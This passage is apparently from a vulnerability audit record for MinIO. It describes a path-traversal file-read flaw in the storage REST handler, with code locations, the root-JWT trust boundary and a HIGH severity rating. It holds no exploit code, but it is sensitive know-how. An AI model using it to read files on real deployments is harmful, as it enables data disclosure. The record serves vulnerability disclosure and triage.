`MINIO_ROOT_PASSWORD`) and whose `accessKey`/`sub` must equal `MINIO_ROOT_USER`. Empty `disk-id` is accepted (`storage-rest-server.go:188-193`), and the endpoint listens on the same public port as the S3 API, so network position is \"anyone who can reach the S3 port\".\n\nActors who can mint this token in a realistic deployment: (a) every peer node in the distributed cluster (all share the root creds — see `cmd/jwt.go:52-59 authenticateNode`), and (b) anyone holding the MinIO root credential. Ordinary S3/IAM users cannot. This is an authenticated, over-the-network primitive whose credential is the cluster-wide root secret — i.e. a compromised node or a MinIO root admin, not an anonymous client.\n\nremote-auth\n</trust_boundary>\n\n<severity>\nHIGH — Fully reachable over the real wire protocol with no harness tricks, but strongly authenticated (cluster root JWT), so not CRITICAL. It is a READ primitive: arbitrary host-filesystem file disclosure under the minio process UID. That still crosses a real trust boundary",
  "title": "minio: path-traversal at cmd/xl-storage.go:3194-3218 (sink); cmd/storage-rest-server.go:1287-1326 (handler)",
  "vendor_severity": "high"
}